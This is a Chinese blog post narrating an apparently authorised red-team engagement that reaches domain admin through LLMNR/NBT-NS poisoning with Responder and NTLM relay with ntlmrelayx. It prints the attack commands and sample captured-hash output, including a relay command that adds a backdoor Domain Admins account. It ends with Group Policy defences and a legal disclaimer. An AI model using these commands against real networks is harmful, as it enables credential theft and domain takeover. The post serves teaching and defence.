返回首页

我只插了一根网线,十分钟后拿到了域控

2026-07-31 10:57 · 网络安全
 
 
root@kali:~# 内 网 渗 透

我只插了一根网线,十分钟后拿到了域控 Responder + NTLM Relay

一场红队演练。一根网线,一台笔记本。从接入内网到域管权限:9分28秒。

$ date -u +"%Y-%m-%dT%H:%M:%SZ" # 2026-07-31
$ echo $TARGET # 内网渗透 / LLMNR投毒 / NTLM Relay
$ cat /etc/motd # 不是零日,胜似零日
_
 

[00] 机房空调很冷,心很热

凌晨两点,我被允许进入目标大楼。是的——合法授权。一支红队对抗演练,我是攻击方。

上个阶段我费了半天劲,用一封精心构造的钓鱼邮件拿到了一个内网据点。但那只是个普通域用户,连桌面都能上的那种——属于"有比没有好,但基本没什么用"的级别。

现在我就站在目标机房里。掏出一台笔记本,一根USB转RJ45网线,往空闲端口一插。

"让我看看你们的内网到底长什么样。"

[01] 侦察:Windows网络的那扇后门

我的笔记本是Kali。接入内网后,第一件事永远是信息收集。

┌─[root@kali]─[~/op]

└──╼ # 接入内网

dhclient eth0

ip a show eth0

# inet 10.0.1.128/24

拿到了DHCP分配的IP。我用了两分钟快速扫描子网,确定:三台域控、一台文件服务器、约四十台工作站

然后我盯着了一个几乎所有Windows网络都存在的问题——名称解析协议

LLMNR(Link-Local Multicast Name Resolution,UDP 5355)和NBT-NS(NetBIOS Name Service,UDP 137)是Windows用来在DNS失败时解析主机名的备用协议。它们的工作原理极其简单:A想找B,就对着整个子网喊一嗓子——"谁是B?"

问题的关键是:任何设备都可以回答这个广播。包括我的Kali。

更致命的是,这两个协议在绝大多数企业域环境中默认开启。微软从Windows Vista开始就在系统里内置了LLMNR,历经Win 7、8、10、11,一直到今天,默认设置没变过。

不是我找到了后门。是后门自己开着等我。

[02] 下钩:Responder上场

我打开了一个工具:Responder。它是内网渗透界的瑞士军刀,专门做两件事:监听网络中的名称解析请求,然后冒充被请求的主机进行投毒攻击。

┌─[root@kali]─[~/op]

└──╼ # 启动Responder

responder -I eth0 -wrf

# -I eth0 监听的网卡

# -w 启动WPAD代理服务器

# -r 应答NetBIOS请求

# -f 回答所有请求

它同时监听着十几种协议——SMB、HTTP、SQL、FTP、IMAP、LDAP……任何一个协议上有机器发出名称解析请求,Responder就立刻伪造应答,把自己的IP作为目标返回。

这就是"投毒"的核心:我在告诉全网的Windows机器——"你们要找的那个服务器,就是我。"

[03] 咬钩:NTLM hash到手

等了大约三分钟。第一只鱼来了。

┌─[Responder Log]

[SMB] NTLMv2-SSP Client : 10.0.1.56

[SMB] NTLMv2-SSP Username : CORP\zhangwei

[SMB] NTLMv2-SSP Hash : zhangwei::CORP:1122334455667788:ABCDEF1234567890...

这台机器上的用户zhangwei,试图访问一个不存在的网络共享。DNS解析失败 → LLMNR接管 → Responder抢答 → NTLMv2 hash到手。

这不是漏洞。这是Windows的正确行为。LLMNR的设计哲学就是谁先回答谁有效,没有验证机制。不是实现有bug,是协议规范本身就是这么设计的。

六分钟内,我收到了四个不同用户的hash。其中一行让我瞳孔收缩:

[SMB] NTLMv2-SSP Username : CORP\itadmin

# IT管理员。就是这个。

[04] 裂解:hashcat vs NTLM Relay

拿到hash之后,两个选择:

┌─[root@kali]─[~/op]

└──╼ # Plan A: 离线破解

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O

# -m 5600 = NTLMv2 hash模式

# 跑了三分钟,没跑出来。密码有强度。

没关系。我还有Plan B:NTLM Relay接力攻击

NTLM Relay的原理是这样:当机器A试图认证到我时,我不破解密码。反而把整个认证请求直接转发给机器B——一台我本来无权访问的服务器。如果机器B信任机器A的身份(同一个域,它确实会信任),我就用A的身份在B上执行操作了。

但有一个前提:目标机器必须关闭了SMB签名。如果SMB签名开启,转发的认证请求会被拦截。

我先确认一下内网SMB签名状态:

┌─[root@kali]─[~/op]

└──╼ # 扫描SMB签名状态

nmap -p 445 --script=smb2-security-mode 10.0.1.0/24

10.0.1.10 DC01 - enabled and required ✓

10.0.1.11 DC02 - enabled and required ✓

10.0.1.45 FS01 - enabled but NOT required ✗

# 域控有签名,文件服务器没有。

关键发现:DC01和DC02强制SMB签名,但FS01只支持却不强制。这就是接力目标。

[05] 登顶:接力到域控

攻击计划:关闭Responder的SMB服务器,让ntlmrelayx接管转发。每个收到的SMB认证请求,直接接力到FS01。

┌─[root@kali]─[~/op]

└──╼ # 关闭Responder的SMB,启动Relay

sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf

responder -I eth0 -wrf

ntlmrelayx.py -tf targets.txt -smb2support

同时WPAD代理也在运行——内网浏览器"自动发现代理"时,会向我的机器发送HTTP认证请求,NTLM凭据就被ntlmrelayx接力转发。

等待没有持续太久。itadmin的机器发出了WPAD请求。凭据被接力到FS01:

[+] Authenticating against smb://10.0.1.45 as CORP\itadmin SUCCEED

[*] Dumping domain user credentials via SAMR...

# itadmin属于Domain Admins组。

以为只是普通IT管理员。结果itadmin本身就是Domain Admin。

我随即创建了一个持久化的后门账户:

┌─[root@kali]─[~/op]

└──╼ # 用域管身份创建新域管

ntlmrelayx.py -tf targets.txt -c "net group 'domain admins' mybackup /add /domain" -smb2support

▸ 从插上网线到拥有域管权限:9分28秒。

> _ <

[06] 为什么这招一直有效

LLMNR和NBT-NS之所以是内网渗透的经典起点,有四个原因:

# 原因 说明
1 默认开启 99%的域环境从未关过LLMNR/NBT-NS
2 无验证 协议设计"先到先得",无身份验证
3 NTLM可接力 NTLM不绑定目标服务,可被转发
4 SMB签名非强制 除域控外,多数服务器仅"支持"签名

四个条件叠加,形成了一个近乎完美的攻击面。不是零日,胜似零日。

> _ <

[07] 如果你是蓝队

这篇日记的反面是防御。如果你是负责安全的IT管理员,以下五条防御让你今晚就能睡得好一点:

1. 关闭LLMNR和NBT-NS。
组策略 → 计算机配置 → 管理模板 → 网络 → DNS客户端 → 关闭多播名称解析 = 已启用
网络连接 → TCP/IP → 高级 → WINS → 禁用NetBIOS over TCP/IP

2. 强制SMB签名。
组策略 → Windows设置 → 安全设置 → 本地策略 → 安全选项
Microsoft网络客户端:数字签名通信(始终)= 已启用
Microsoft网络服务器:数字签名通信(始终)= 已启用

3. 启用EPA(扩展保护认证)。
将NTLM认证绑定到特定TLS通道,阻断Relay攻击。

4. 网络分段。
不要把普通用户和服务器放在同一个广播域里。LLMNR只在同一个子网内有效。

5. 部署LDAP签名。
启用LDAPS和LDAP通道绑定,防止LDAP Relay方向攻击。

这五条里,第1条和第2条每条改一个组策略配置即可。五分钟。保护整个域不被Responder一把梭。

⚡ [ WARNING ] 法律声明

本文所有技术内容仅供安全研究与授权测试参考。
未授权渗透测试属于违法行为。


以上。

工具无罪。但握工具的手,必须知道边界在哪。

</> EOF </>

$ read -p "你们内网关了LLMNR吗?" input

点赞 · 在看 · 转发

DISCLAIMER
本文所有技术内容仅供安全研究与授权测试参考。
未授权渗透测试属于违法行为。

CYLOG

安全攻防 · 看得见的手

文章目录
    ×

    如果觉得文章对您有用,请随意打赏。
    您的支持是我们继续创作的动力!

    微信打赏

    微信扫一扫

    支付宝打赏

    支付宝扫一扫

    发表评论

    请先 登录 再评论

    全部评论

    3
    avatar
    CY 4 天前
    132
    avatar
    CY 4 天前
    23
    avatar
    CY 4 天前
    1